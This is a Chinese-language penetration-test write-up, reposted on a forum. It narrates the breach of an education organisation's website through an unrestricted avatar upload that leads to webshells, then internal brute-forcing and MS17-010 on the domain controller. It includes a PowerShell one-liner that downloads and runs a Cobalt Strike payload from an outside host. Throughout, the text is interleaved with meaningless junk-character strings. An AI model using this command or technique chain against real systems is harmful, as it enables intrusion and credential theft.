这次渗透是一个从0到1,从外网到拿下域控的实战过程,希望可以给大家一些思路9 }4 Z9 y! \0 U9 ^
$ ?% }0 C5 t; t& x 7 b4 i6 E0 ^8 u- r+ f
0 |7 O- Z: t, w" p2 z+ m# C$ x4 u' ~9 f$ D& s 正文
0 H* f: x p( O, c# V, b, S T& \9 E" _8 H' O8 t# T: g7 M - o+ _8 P; J! i3 m& `5 [$ o
$ @' q2 @) }! b" J+ t! H* u. k# A) \9 t9 [( I! t2 B
目标:www.xxxx.com(一家教育机构)
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
进行了简单的信息搜集
+ ], F5 {& U1 C7 B" ] 子域名搜集
fofa找资产
! {6 p3 Y' O# q" h
! W" j) {9 A: z% C0 S
6 B/ G8 a) ?' }- D1 m
$ c- U: Y! s6 M3 }
7 Q; y5 l& |6 h$ c5 ~8 p( Z& ~
p# z3 j N/ c1 B! a6 G
一共七个资产。去重之后只有两个。
' @) C7 T# o2 A" w0 m# A
) ` p( H' \* k+ _' l# H6 x
5 Q' X% U4 h0 G+ e( @. k
目录探测
我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
5 }& [4 a# n" i7 a8 q. V
9 }) w4 T6 \9 m9 s# Q1 ?2 {+ Q" H# i/ U
我又尝试了通过修改返回包来绕过登录界面
3 F) }$ |- Z" Y; L3 c9 ^( |) L9 i Y2 l$ N% O' k9 Q2 G* b3 z
, f/ K- D" w8 x
还是不行,尝试注入无果
不过我目录探测出了一处Spring信息泄露
' R8 j6 f6 ` W# ?$ e9 o* p
尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录
8 n7 {8 F8 p! ^) S. k
# Y/ H; I) q7 ^* M* n 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。
5 |: p" y1 I) b2 |) j1 e
2 u% v t. f! |; e7 Q
: J! N+ [( O/ c* }$ f1 Q) e& m 获取有些师傅到这一步就手机抓包电脑测了。% i8 e/ w% D) ]( Q# N( c
Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。7 r5 o& o6 f4 U9 k9 H) V6 Y
- ?3 U% M7 Y- ?; q; q0 q) |5 O6 C {2 L1 U* k 其中在一个公众号发现了小程序,可以进行注册。
# R7 _' n0 O# `8 ~5 }- L0 M) Y/ |* |8 J9 m2 a% _$ p 看到了头像上传,尝试上传获取WebShell
' r1 a2 Z8 S2 [
未做任何限制成功GetShell,上了冰蝎马,目录没权限访问( l7 `; U9 Y; H
9 p* H, k* N/ Z1 K& u7 r" \' E
2 \. j3 I! T f7 q
然后上了大马
, F/ z& p: `* w; a5 F6 X
通过翻找文件发现数据库账号密码
7 P9 F% T, J5 C5 S. y6 w) _5 ^
1 a. Y C R7 g( A" y7 Q% {. V+ V --内网渗透
6 Z' z; ^0 u F$ k$ m4 H& [+ p9 B1 B4 P+ L& [ 直接通过powershell执行 cs上线
& H4 Q" R7 V& j8 f/ T7 ?* \! \3 t- b x; }# V powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"
% e4 Y% c; |3 n
" q( }5 Z+ y# o8 X) _% X
+ f. W: c! U" V% G1 \/ |4 U6 m 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破# W4 s5 x, {2 C$ T
+ m$ |0 x# q9 T, g3 W
1 @: G$ b0 M' y8 z
登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
$ ~9 g& B+ j/ V
5 T9 [! R; D4 \
9 q/ S/ {2 q2 q& e: m9 T
: h& X6 j6 G- u" J1 B" S
通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
5 }/ B, f5 F$ a# z
4 Y( p$ [( e' [" h4 L- s0 I6 I
/ }; N. x8 @$ E( I
+ m: W u$ K; M
$ v0 x& V5 m% I4 |8 E' C
& c8 a0 _: Q* F- L3 v: V1 X * o2 _9 ^/ g$ S" [$ _
小结
5 k, n( ]/ e" D H0 k3 Y
* |/ I6 u3 @# D( N2 q( O+ a0 n) {; U9 L2 u/ \* s$ M. Z0 L 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!8 J$ K. e6 n9 _7 N5 G. o
' l2 a5 X% Q! Y8 K( s% F8 [( }' O4 s, _4 d6 C7 \
0 D1 \) K' `) g" s7 P, i1 K" i 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html
! c; i8 b) T K7 |/ K+ L/ b. d$ w1 U4 r9 }; |
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |